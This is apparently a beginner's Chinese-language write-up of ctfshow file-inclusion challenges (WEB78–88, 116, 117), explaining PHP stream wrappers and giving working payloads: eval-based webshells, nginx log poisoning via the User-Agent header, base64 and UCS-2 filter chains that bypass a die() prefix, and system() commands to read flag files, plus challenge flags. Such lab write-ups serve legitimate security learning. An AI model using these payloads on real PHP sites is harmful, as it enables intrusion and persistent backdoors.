# 初学文件包含

刚开始只懂一些伪协议什么的,对于一个具体的文件包含并不是很了解,先简单记录下原理

文件包含漏洞:通过 PHP 函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

我的理解就是:由于对包含点没有进行一个很好的过滤,导致能够在包含点做出一些预想之外的操作,从而造成一些危害

这里引用一下别的师傅对 php://filter 的解析:

php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter 流会被当作 php 文件执行。所以我们一般对其进行编码,让其不执行。从而导致
任意文件读取。

简单来说就是 php://filter 与包含函数结合时。该流就会被当作文件执行,而我们对其进行编码之后,它不会执行,导致了任意文件的读取

记录一下别的师傅博客写的基础姿势:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
php://input可以访问请求的原始数据的只读流。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post设置成文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。遇到file_get_contents()要想到用php://input绕过

poc1:

?file=php://input

[POST DATA] <?php phpinfo();?>

还可以上传一句话木马 poc2

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

php://filter可以获取指定文件源码。php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

poc1:

?file=php://filter/resource=xxx.php

poc2:

?file=php://filter/read=convert.base64-encode/resource=xxx.php

POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。

zip://可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。

要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

只需要是zip的压缩包即可,后缀名可以任意更改。

相同的类型的还有zlib://和bzip2://

poc:

zip://[压缩包绝对路径]#[压缩包内文件]

?file=zip://D:\zip.jpg%23phpinfo.txt

data:// 同样类似与php://input,

phar:// 有点类似zip://

phar://中相对路径和绝对路径都可以使用


# WEB78

进入环境查看代码

没有进行任何的过滤

方法一:

直接 php://fileter 伪协议读取

poc:

?file=php://filter/convert.base64-encode/resource=flag.php

复制下来 base64 解码得到 flag

方法二:

bp 抓包使用?file=php://input 然后接上命令

语句:

<?php system("cat flag.php"); ?>

如图所示

获得 flag

ctfshow{c5e47e9f-a526-4103-8a32-cf582177a187}

# WEB79

先开环境看看代码

https://nnnpc-1311441040.cos.ap-shanghai.myqcloud.com/hvOh32Pct6J2QoYE.png!thumbnail

看到它把 php 给过滤了,而 str_replace 区分大小写

这里涉及到一个知识点:

str_replace 区分大小写,str_ireplace 不区分
因为这里是 str_replace,所以是区分大小写的,可以使用大小写变换来进行绕过

配合使用 php://input

?file=Php://input

<? php system("ls"); ?>

先使用命令看看都有什么文件,看到了 flag.php,直接进行读取

<?php system("cat flag.php"); ?>

得到 flag

ctfshow

# WEB80

打开环境,查看代码

看到把 php 和 data 都过滤了,因此 php 和 data 的伪协议都使用不了了

但是依然还是 str_replace,区分大小写,还是可以使用大小写绕过的办法

看到了 fl0g.php,直接 cat 进行读取

<?php system("cat fl0g.php"); ?>

得到 flag

ctfshow{0101a529-78eb-4693-b926-cbd85ec90ca7}

# WEB81

打开环境,查看代码

在前两道题目的基础上过滤了 ":",因此伪协议和大小写绕过都行不通了

可以使用日志文件包含

首先抓包修改 UA 头传入一句话木马

<?php @eval($_POST['a']);?>

再通过 file 访问日志

?file=/var/log/nginx/access.log

再通过命令执行测试后门

成功,查看文件

a=system("ls");phpinfo();

获取 flag

a=system("tac fl0g.php");phpinfo();

当使用命令 cat
fl0g.php 时,flag 不会被显示在 2 页面上,需要去页面的注释中查看

ctfshow{fa05c0f6-0d77-4782-8eaa-e5bd5285736d}

# WEB82

# WEB83

# WEB84

# WEB85

# WEB86

# WEB87

打开环境,查看代码

发现使用了 die,在开头就写入了 die,会直接导致代码结束执行

因此需要想办法绕过 die,不然传上去的一句话不会被执行

首先考虑下怎么样才能绕过 die,能想到的就是编码,而本题也没看到禁用任何的编码,因此直接使用最常规的的 base64,这里引用下 Monica 师傅所解释的 base64 绕过方法:

编码时,转换成 Base64 的最小单位就是 3 个字节
解码时,4 个字节为一组;PHP 在解码 base64 时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64 的字符选用了 "A-Z、a-z、0-9、+、/"
64 个可打印字符)所以,通过 base64 解码过滤之后就只有 phpdie6
个字符我们就要添加 2 个字符让 phpdie 和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。
总结起来就是:

对已有的 php 语句,即: <?php die('大佬别秀了');?> ,进行 base64 解码时,其中的可打印字符只有 phpdie 这 6 个字符,我们知道只有 die 被解码了,才能成功绕过,而解码是为 4 个字节为一组,因此我们只要添加两个字符拼接上去,就为八个字符,正好两组,能够被成功解码,从而绕过 die

而这里将 php 过滤了,因此需要进行 url 编码,并且进行两次 url 编码

(因为 get 传参的时候会进行一次 urldecode,只进行一次编码的话,同样的一次解码就会使 php 同样被过滤掉)

?file=php://filter/write=convert.base64-decode/resource=1.php

进行两次 url 编码后:

1
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

post 传入一句话:
<?php eval($_POST[1]);?>

这里需要将该一句话进行 base64 编码并在前面加上两个字符用来解码的时候绕过 die

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

这里涉及到一个知识点,base64 之后末尾为 +,需要将 + 进行 urlencode

还是引用刚才那个大师傅的解释:

如果直接传入 content,这里的 + 会被当做空格处理,所以在 base64 解码的时候就会忽略空格,自动在后面加上一个 =:即 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=
而加号被当成空格传入被加上 = 进行解码后的结果是:<?php
eval($_POST[1]);?

并不是一个完整的一句话了,因此我们想要保留 + 的话就需要对其进行 url 编码

(同时这里也可以换一个一句话,使其编码之后不带 +)

最终的一句话:

1
content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B

传入一句话如图所示

访问 1.php 然后进行命令执行获取 flag

测试 phpinfo 成功

1=system("ls");phpinfo();

找到目录下的文件,tac fl0g.php 获得 flag

得到 flag

ctfshow{d9f22b7f-b350-4e0e-acf1-18e9e27af3f0}

# WEB88

打开环境,查看代码

看到过滤了 php,但是没有过滤 data,因此使用 data 伪协议

语句:

?file=data://text/plain;base64, <?php eval($_POST['ttxxxxx']);?> x

payload:

1
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ3R0eHh4eHgnXSk7Pz54

后面加一个 x 是为了消除等号,但也可以直接把等号删除
但如果出现了 + 号,就需要换个一句话进行 base64encode

传入 payload

测试 phpinfo 成功

命令查看目录下文件

查看 fl0g.php 获得 flag

ttxxxxx=system("tac fl0g.php");phpinfo();

得到 flag

ctfshow{8d138758-6761-4e74-a355-d204633d4bfb}

# WEB116

提示是有 misc 成分在其中

打开环境发现是一个视频

右键保存下来,拖入 winhex 看看

发现文件尾是以 png 的 16 进制结尾,因此把该 png 分离出来

kali 中使用 foremost 或 binwalk 分离(也可以直接手动分离)

foremost 1.mp4

得到一个 output 文件夹

拿到 png

查看代码,发现禁用了一些编码和 data,但是没有禁用 php,直接 bp 抓包读取 flag.php

得到 flag,

ctfshow{81c35502-a3c5-4172-91cc-5640d84ce015}

# WEB117

打开环境,查看代码

发现 data 被禁用了,而 php 没有被禁用,但是有 die 函数,所以需要想办法绕过 die 函数

和 WEB87 很相似,但是这里的 rot13 和 base64 都被禁用了,只能另寻编码使用

这里就用到了 ucs-2 编码

usc-2:

会对目标字符串进行两位一反转

(因此字符串中的字符数目得是偶数)

pyload:

1
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=nnnpc.php

post 传参:
contents=?<hp pvela$(P_SO[T]1;)>?

本题原理就是传入先进行两位翻转好的一句话,拼接到死亡函数之后再因为 usc-2 再次进行两位翻转,一句话成功还原,而 die 函数被翻转过滤掉,反转后即:
?<hp pid(e;)>? <?php eval($_POST[1]);?>

然后访问 nnnpc.php 进行命令执行

查看 phpinfo 成功,查看目录下的文件

1=system("ls");phpinfo();

查看 flag.php 获取 flag

1=system("tac flag.php");phpinfo();

得到 flag

ctfshow{f57f34ae-acb2-48db-9e4f-71b53a8be8e2}